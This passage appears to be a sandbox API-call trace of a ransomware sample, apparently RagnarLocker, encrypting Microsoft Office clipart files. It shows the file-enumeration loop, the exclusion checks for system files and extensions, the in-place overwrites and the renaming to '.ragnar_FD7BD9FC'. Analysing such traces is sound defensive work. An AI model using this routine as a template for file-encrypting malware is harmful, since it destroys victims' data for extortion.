(lpString1="BL00152_.WMF", lpString2="bootmgr") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="bootmgr.efi") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="desktop.ini") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="iconcache.db") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="ntldr") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="ntuser.dat") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="ntuser.ini") returned -1 [0080.364] lstrcmpiW (lpString1="BL00152_.WMF", lpString2="thumbs.db") returned -1 [0080.364] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.364] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.364] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.364] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.364] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.365] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.365] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0080.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.365] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1516) returned 1 [0080.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.365] GetProcessHeap () returned 0x580000 [0080.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.365] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.367] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.367] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5ec, lpOverlapped=0x0) returned 1 [0080.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.367] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.367] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5ec, lpOverlapped=0x0) returned 1 [0080.367] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.367] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.367] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.367] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.368] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.368] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.368] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.368] GetProcessHeap () returned 0x580000 [0080.368] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.368] CloseHandle (hObject=0xf4) returned 1 [0080.368] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" [0080.368] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ragnar_FD7BD9FC" [0080.368] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.368] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0080.368] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.368] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00194_.WMF" | out: lpString1="BL00194_.WMF") returned="BL00194_.WMF" [0080.369] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned=".WMF" [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="autorun.inf") returned 1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="boot.ini") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="bootfont.bin") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="bootsect.bak") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="bootmgr") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="bootmgr.efi") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="desktop.ini") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="iconcache.db") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="ntldr") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="ntuser.dat") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="ntuser.ini") returned -1 [0080.369] lstrcmpiW (lpString1="BL00194_.WMF", lpString2="thumbs.db") returned -1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.369] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.369] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x20 [0080.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.370] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3986) returned 1 [0080.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.370] GetProcessHeap () returned 0x580000 [0080.370] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.370] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.371] VirtualAlloc (lpAddress=0x0, dwSize=0xf92, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.371] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.372] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf92, lpOverlapped=0x0) returned 1 [0080.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf92, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.372] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf92, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf92, lpOverlapped=0x0) returned 1 [0080.372] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf92, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.372] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.372] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.372] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.373] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.373] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.373] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.373] GetProcessHeap () returned 0x580000 [0080.373] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.373] CloseHandle (hObject=0xf4) returned 1 [0080.373] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" [0080.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ragnar_FD7BD9FC" [0080.373] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.374] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0080.374] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.374] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00195_.WMF" | out: lpString1="BL00195_.WMF") returned="BL00195_.WMF" [0080.374] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned=".WMF" [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="autorun.inf") returned 1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="boot.ini") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="bootfont.bin") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="bootsect.bak") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="bootmgr") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="bootmgr.efi") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="desktop.ini") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="iconcache.db") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="ntldr") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="ntuser.dat") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="ntuser.ini") returned -1 [0080.374] lstrcmpiW (lpString1="BL00195_.WMF", lpString2="thumbs.db") returned -1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.374] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0080.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.375] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8070) returned 1 [0080.375] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f7d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.375] GetProcessHeap () returned 0x580000 [0080.375] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.375] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.377] VirtualAlloc (lpAddress=0x0, dwSize=0x1f86, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.377] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.377] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f86, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f86, lpOverlapped=0x0) returned 1 [0080.378] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.378] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f86, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.378] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f86, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f86, lpOverlapped=0x0) returned 1 [0080.378] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.378] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.379] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.379] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.379] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.379] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.379] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.379] GetProcessHeap () returned 0x580000 [0080.379] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.379] CloseHandle (hObject=0xf4) returned 1 [0080.379] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" [0080.379] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ragnar_FD7BD9FC" [0080.379] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.380] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81891500, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81891500, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x2458, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00234_.WMF", cAlternateFileName="")) returned 1 [0080.380] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.380] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00234_.WMF" | out: lpString1="BL00234_.WMF") returned="BL00234_.WMF" [0080.380] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned=".WMF" [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="autorun.inf") returned 1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="boot.ini") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="bootfont.bin") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="bootsect.bak") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="bootmgr") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="bootmgr.efi") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="desktop.ini") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="iconcache.db") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="ntldr") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="ntuser.dat") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="ntuser.ini") returned -1 [0080.380] lstrcmpiW (lpString1="BL00234_.WMF", lpString2="thumbs.db") returned -1 [0080.380] lstrcmpiW 